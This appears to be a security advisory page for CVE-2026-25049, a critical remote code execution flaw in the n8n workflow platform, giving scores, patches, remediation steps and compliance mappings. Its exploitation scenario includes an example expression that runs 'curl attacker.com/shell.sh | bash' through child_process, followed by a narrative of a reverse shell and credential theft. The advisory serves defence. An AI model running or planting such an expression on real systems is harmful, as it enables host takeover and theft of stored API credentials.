CVE-2026-25049: n8n security flaw enables

CISO Take

CVE-2026-25049 is a CVSS 9.9 RCE vulnerability in n8n, one of the most widely deployed AI agent orchestration platforms. Any authenticated workflow editor — including compromised contractors or insider threats — can execute arbitrary OS commands on the n8n host, which typically has unrestricted access to your AI APIs, databases, and internal services. Patch to 1.123.17 or 2.5.2 immediately; treat any unpatched n8n instance as fully compromised.

What is the risk?

Severity is effectively maximum for organizations running n8n as AI infrastructure. CVSS 9.9 with Scope:Changed means blast radius extends beyond the n8n process to the underlying host. Attack complexity is LOW and only requires a low-privileged authenticated account — the attacker does not need admin rights, just workflow create/edit permissions. n8n instances typically hold OpenAI/Anthropic API keys, database credentials, webhook secrets, and internal service tokens in their configuration, making post-exploitation trivially impactful. No CISA KEV listing yet, but the low bar for exploitation makes active exploitation highly probable.

What systems are affected?

Package	Ecosystem	Vulnerable Range	Patched
n8n	npm	—	No patch
193.4K OpenSSF 6.6 Pushed 2d ago 55% patched ~7d to patch Full package profile →

Do you use n8n? You're affected.

How severe is it?

CVSS 3.1

9.9 / 10

EPSS

1.2%

chance of exploitation in 30 days

Higher than 64% of all CVEs

Source: EPSS v3 — FIRST.org

Exploitation Status

No known exploitation

Sophistication

Moderate

What is the attack surface?

AV Network

AC Low

PR Low

UI None

S Changed

C High

I High

A High

What should I do?

7 steps

PATCH

Upgrade n8n to 1.123.17 (v1 branch) or 2.5.2 (v2 branch) immediately — no workaround exists for the expression injection.
AUDIT

Review who has workflow create/edit permissions; apply least-privilege — revoke permissions from any non-essential users.
ROTATE CREDENTIALS

Rotate all API keys and secrets stored in n8n's credential vault as a precaution.
ISOLATE

Run n8n in a container or VM with minimal host privileges; restrict outbound network access to only required endpoints.
DETECT

Search logs for unusual workflow executions, unexpected child processes spawned by n8n, or outbound connections to unfamiliar IPs.
NETWORK SEGMENTATION

n8n should never have direct access to production databases or credential stores — enforce network segmentation.
MFA

Enable MFA on all n8n accounts to raise the bar for account compromise leading to exploitation.

What does CISA's SSVC say?

Decision Track

Exploitation none

Automatable No

Technical Impact total

Source: CISA Vulnrichment (SSVC v2.0). Decision based on the CISA Coordinator decision tree.

How is it classified?

Code Execution Data Extraction Auth Bypass Agent Framework API AML.T0012 - Valid Accounts AML.T0049 - Exploit Public-Facing Application AML.T0050 - Command and Scripting Interpreter AML.T0053 - AI Agent Tool Invocation AML.T0072 - Reverse Shell AML.T0081 - Modify AI Agent Configuration AML.T0083 - Credentials from AI Agent Configuration AML.T0105 - Escape to Host

Which compliance frameworks are affected?

This CVE is relevant to:

EU AI Act

Article 15 - Accuracy, robustness and cybersecurity Article 9 - Risk management system

ISO 42001

A.6.2 - Roles, responsibilities and authorities for AI systems A.9.1 - Security of AI system A.9.7 - Information security of AI systems

NIST AI RMF

GOVERN 1.1 - Policies, processes, procedures, and practices across the organization GOVERN 6.1 - Policies and procedures for AI risk are in place MANAGE 2.2 - Mechanisms are in place to respond to AI system incidents

OWASP LLM Top 10

LLM06 - Excessive Agency LLM07 - Insecure Plugin Design LLM08 - Excessive Agency

Frequently Asked Questions

What is CVE-2026-25049?

CVE-2026-25049 is a CVSS 9.9 RCE vulnerability in n8n, one of the most widely deployed AI agent orchestration platforms. Any authenticated workflow editor — including compromised contractors or insider threats — can execute arbitrary OS commands on the n8n host, which typically has unrestricted access to your AI APIs, databases, and internal services. Patch to 1.123.17 or 2.5.2 immediately; treat any unpatched n8n instance as fully compromised.

Is CVE-2026-25049 actively exploited?

No confirmed active exploitation of CVE-2026-25049 has been reported, but organizations should still patch proactively.

How to fix CVE-2026-25049?

1. PATCH: Upgrade n8n to 1.123.17 (v1 branch) or 2.5.2 (v2 branch) immediately — no workaround exists for the expression injection. 2. AUDIT: Review who has workflow create/edit permissions; apply least-privilege — revoke permissions from any non-essential users. 3. ROTATE CREDENTIALS: Rotate all API keys and secrets stored in n8n's credential vault as a precaution. 4. ISOLATE: Run n8n in a container or VM with minimal host privileges; restrict outbound network access to only required endpoints. 5. DETECT: Search logs for unusual workflow executions, unexpected child processes spawned by n8n, or outbound connections to unfamiliar IPs. 6. NETWORK SEGMENTATION: n8n should never have direct access to production databases or credential stores — enforce network segmentation. 7. MFA: Enable MFA on all n8n accounts to raise the bar for account compromise leading to exploitation.

What systems are affected by CVE-2026-25049?

This vulnerability affects the following AI/ML architecture patterns: AI agent frameworks, LLM orchestration pipelines, RAG pipelines, workflow automation, model serving integrations.

What is the CVSS score for CVE-2026-25049?

CVE-2026-25049 has a CVSS v3.1 base score of 9.9 (CRITICAL). The EPSS exploitation probability is 1.20%.

What is the AI security impact?

Affected AI Architectures

AI agent frameworksLLM orchestration pipelinesRAG pipelinesworkflow automationmodel serving integrations

MITRE ATLAS Techniques

AML.T0012 Valid Accounts

AML.T0049 Exploit Public-Facing Application

AML.T0050 Command and Scripting Interpreter

AML.T0053 AI Agent Tool Invocation

AML.T0072 Reverse Shell

AML.T0081 Modify AI Agent Configuration

AML.T0083 Credentials from AI Agent Configuration

AML.T0105 Escape to Host

Compliance Controls Affected

EU AI Act: Article 15, Article 9

ISO 42001: A.6.2, A.9.1, A.9.7

NIST AI RMF: GOVERN 1.1, GOVERN 6.1, MANAGE 2.2

OWASP LLM Top 10: LLM06, LLM07, LLM08

What are the technical details?

Original Advisory

n8n is an open source workflow automation platform. Prior to versions 1.123.17 and 2.5.2, an authenticated user with permission to create or modify workflows could abuse crafted expressions in workflow parameters to trigger unintended system command execution on the host running n8n. This issue has been patched in versions 1.123.17 and 2.5.2.

Exploitation Scenario

An adversary with a compromised contractor account (or a disgruntled employee) with workflow-editor permissions opens a legitimate-looking workflow in n8n. They embed a crafted expression such as `{{ $evaluateExpression('require("child_process").execSync("curl attacker.com/shell.sh | bash")') }}` in a node parameter. When the workflow is triggered — either manually or by a scheduled/webhook event — n8n's expression engine evaluates the payload and executes the OS command with n8n's process privileges. The attacker establishes a reverse shell, extracts all AI API credentials (OpenAI, Anthropic, Pinecone, etc.) from n8n's encrypted store, and pivots laterally to connected AI infrastructure. The entire AI agent pipeline is now under adversary control with no visible indicators to end users.

Weaknesses (CWE)

CWE-913 Improper Control of Dynamically-Managed Code Resources Primary

CWE-913 — Improper Control of Dynamically-Managed Code Resources: The product does not properly restrict reading from or writing to dynamically-managed code resources such as variables, objects, classes, attributes, functions, or executable instructions or statements.

[Implementation] For any externally-influenced input, check the input against an allowlist of acceptable values.
[Implementation, Architecture and Design] Refactor the code so that it does not need to be dynamically managed.

Source: MITRE CWE corpus.